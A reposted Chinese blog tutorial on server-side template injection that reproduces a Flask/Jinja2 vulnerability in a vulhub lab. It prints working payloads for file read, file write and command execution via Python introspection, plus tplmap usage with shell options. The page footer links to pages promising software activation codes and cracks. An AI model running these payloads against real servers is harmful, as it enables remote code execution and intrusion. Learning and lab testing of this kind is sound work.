SSTI完全学习[通俗易懂]

一、什么是SSTISSTI就是服务器端模板注入(Server-SideTemplateInjection),也给出了一个注入的概念。常见的注入有:SQL注入,XSS注入,XPATH注入,XML注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。sql注入是从用户获…

大家好,又见面了,我是你们的朋友全栈君。

一、什么是SSTI

SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。

常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。

sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。

SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

现在网上提起的比较多的是Python的网站。

二、谈谈模板引擎

百度百科的定义:
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

也就是说,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

三、回到SSTI

1、简单例子

先给出下面这个例子,以便理解:

$output = $twig->render("Hello { 
   {name}}", array("name" => $_GET["name"])); 
echo $output;

当然在渲染过程中会有很多不一样的处理,这个是比较简单的一个,对于现在的SSTI在后端处理的时候也会有许多的过滤。

总之,ssti就是这么个道理,就像sql注入中你用id=-1’ union select database()可以拿到数据库一样,当然在漏洞利用上还是有很多的技巧,也会有绕过的技巧的。

2、Flask(Jinja2) 服务端模板注入漏洞复现

ctf中比较常见的还是python站的SSTI,下面用vulhub上的一个环境来复现Flask的SSTI漏洞,展示一下流程

1)docker环境搭建
docker-compose up -d    
2)注入检测

访问http://192.168.1.10:8000/
[外链图片转存失败(img-WSzM3J8q-1563519679126)(en-resource://database/739:1)]

传参?name={
{7*8}},可以得到:
在这里插入图片描述
传参?name={
{7*8}},可以得到:
在这里插入图片描述

说明存在SSTI漏洞

3)漏洞利用

官方的漏洞利用方法:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {
  
  { b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

把上面这一串当做name参数传递即可实现命令执行:

http://192.168.1.10:8000/?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}%20{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}%20{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}%20{%%20if%20b.__class__%20==%20{}.__class__%20%}%20{%%20if%20%27eval%27%20in%20b.keys()%20%}%20{
  
  {%20b[%27eval%27](%27__import__(%22os%22).popen(%22id%22).read()%27)%20}}%20{%%20endif%20%}%20{%%20endif%20%}%20{%%20endfor%20%}%20{%%20endif%20%}%20{%%20endfor%20%}

结果如下:
在这里插入图片描述

看到id命令成功执行

四、关于SSTI的python类的知识

很多刚开始学习SSTI的新手可能看到上面的利用方法就蒙圈了,不太懂为什么要这么做,下面来讲一下关于Python中类的知识。

面向对象语言的方法来自于类,对于python,有很多好用的函数库,我们经常会再写Python中用到import来引入许多的类和方法,python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是object,而object拥有众多的子类。

首先进入python—命令行输入python进入这样的界面:
在这里插入图片描述
进行以下输入:

>>> ''.__class__
<type 'str'>
>>> ().__class__
<type 'tuple'>
>>> [].__class__
<type 'list'>
>>> { 
   }.__class__
<type 'dict'>

__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。

>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> { 
   }.__class__.__bases__
(<type 'object'>,)

>>> [].__class__.__bases__[0]
<type 'object'>

__bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值

>>> [].__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]

__subclasses__():查看当前类的子类。

当然我们也可以直接用object.__subclasses__(),会得到和上面一样的结果。
获取基类还能用还有__mro__,比如:

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> { 
   }.__class__.__mro__
(<class 'dict'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)

>>> ().__class__.__mro__[1]            //使用索引就能获取基类了
<class 'object'>

这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类,更多的方法大家可以去发现和搜集。

五、一些常用的方法

//获取基本类
''.__class__.__mro__[1]
{ 
   }.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

上面漏洞复现时候的payload也是很强了,用类于编程的方式来展现,不用再一个个去查索引了:

{ 
   % for c in [].__class__.__base__.__subclasses__() %}
{ 
   % if c.__name__ == 'catch_warnings' %}
  { 
   % for b in c.__init__.__globals__.values() %}
  { 
   % if b.__class__ == { 
   }.__class__ %}
    { 
   % if 'eval' in b.keys() %}
      { 
   { 
    b['eval']('__import__("os").popen("id").read()') }}         //poppen的参数就是要执行的命令
    { 
   % endif %}
  { 
   % endif %}
  { 
   % endfor %}
{ 
   % endif %}
{ 
   % endfor %}

有的时候还是需要绕过和沙箱逃逸才能实现SSTI的。

六、SSTI神器–Tplmap

先给出下载地址:https://github.com/epinna/tplmap
需要环境:PyYaml

pip install PyYaml

1、简单使用

以上面复现的漏洞为例简单介绍一下用法:

root@kali:/mnt/hgfs/共享文件夹/tplmap-master# python tplmap.py -u "http://192.168.1.10:8000/?name=Sea" //判断是否是注入点
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{ 
   {*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{ 
   {*}}'
[+] Jinja2 plugin has confirmed injection with tag '{ 
   {*}}'
[+] Tplmap identified the following injection point:

  GET parameter: name                //说明可以注入,同时给出了详细信息
  Engine: Jinja2
  Injection: { 
   { 
   *}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

   Shell command execution: ok           //检验出这些利用方法对于目标环境是否可用
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:
                                                                  //可以利用下面这些参数进行进一步的操作
    --os-shell				Run shell on the target
    --os-cmd				Execute shell commands
    --bind-shell PORT			Connect to a shell bind to a target port
    --reverse-shell HOST PORT	Send a shell back to the attacker's port
    --upload LOCAL REMOTE	Upload files to the server
    --download REMOTE LOCAL	Download remote files

拿shell、执行命令、bind_shell、反弹shell、上传下载文件,Tplmap为SSTI的利用提供了很大的便利

//获取更多参数信息,要善于利用帮助信息来学习
python tplmap.py -h

2、Nunjucks模板引擎沙箱逃逸

python tplmap.py -u http://792.168.1.10:8000/?name=* --engine Nunjucks --os-shell

具体详情参考:https://www.anquanke.com/post/id/84336

3、使用训练

tplmap项目中附带有docker环境,可供学习和熟悉tplmap:
https://github.com/epinna/tplmap/tree/master/docker-envs

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/125236.html原文链接:https://javaforall.net

(1)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • clion2022激活教程-激活码分享

    (clion2022激活教程)最近有小伙伴私信我,问我这边有没有免费的intellijIdea的激活码,然后我将全栈君台教程分享给他了。激活成功之后他一直表示感谢,哈哈~IntelliJ2021最新激活注册码,破解教程可免费永久激活,亲测有效,下面是详细链接哦~https://javaforall.net/100143.html…

    2022年3月31日
    4.4K
  • navicat15的激活码[免费获取]

    (navicat15的激活码)这是一篇idea技术相关文章,由全栈君为大家提供,主要知识点是关于2021JetBrains全家桶永久激活码的内容IntelliJ2021最新激活注册码,破解教程可免费永久激活,亲测有效,下面是详细链接哦~https://javaforall.net/100143.htmlMLZPB5EL5Q-eyJsaWN…

    2022年3月21日
    102
  • html怎么添加左侧点虚线,css虚线样式,怎么在css里添加虚线

    html怎么添加左侧点虚线,css虚线样式,怎么在css里添加虚线css 虚线样式 怎么在 css 里添加虚线内容导读 控制 div 线框的是 border 我们可以具体设置四条边的线框是否显示 也可以去设置虚线框的颜色和粗细 线框的设置可以让 div 的块状更加明显 至于是用虚线还是实线 大家可以根据具体情况而定 不知道怎么在 css 里添加虚线的朋友 可以拿本文的代码去看看效果 自己再去修改修改 体会下变化 进而更审核的掌握 css 虚线样式 本文给大家介绍的是 css 虚线样式 给大

    2025年8月29日
    3
  • 扫码登录的原理和实现方法_扫码支付的原理

    扫码登录的原理和实现方法_扫码支付的原理1概述在日常Web端产品的使用中,一般都会支持扫码登录,这种方式操作简单,相对传统的手机号登录等方式速度更快、安全性更高,还可以增加自家产品的粘合度。2登录原理扫码登录本质是解决将APP端的用户登录信息(通常是Token)通过扫码的形式安全稳定地同步给Web端。1)用户打开Web端网页,进入扫码登录的界面;2)从Web端服务器获取二维码的图并获取其状态;3)Web端服务器在生成二维码时,会生成一个uuid和二维码进行关联,并将uuid存入db记录中;4)

    2025年8月6日
    7
  • 用户画像总结

    用户画像总结        最近在工作之余,结合自己的理解和论坛上的一些帖子,整理了份用户画像的文章,个人觉得这篇文章在宏观上很好地描述了用户画像的主要内容。(文章内的图片来源于不同帖子,权当分享,侵删)一、什么是用户画像        用户画像是指根据用户的属性、用户偏好、生活习惯、用户行为等信息而抽象出来的标签化用户模型。通俗说就是给用户打标签,而标签是通过对用户信息分析而来的高度精炼的特征标识。通过打…

    2022年7月18日
    23
  • 本地的html源文件,本地书源导入教程

    本地的html源文件,本地书源导入教程本地书源导入教程免贵姓操•2018年05月05日请注意,本文编写于1143天前,最后修改于96天前,其中某些信息可能已经过时。0×1.单个书源导入操作步骤:复制下面的书源代码,在[书源管理]点击“+”号,然后点击右上角的3个点,选择[粘贴书源],再点击[保存],然后书源前面勾选启用即可。{“bookSourceGroup”:””,”bookSourceName”…

    2022年6月15日
    54

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号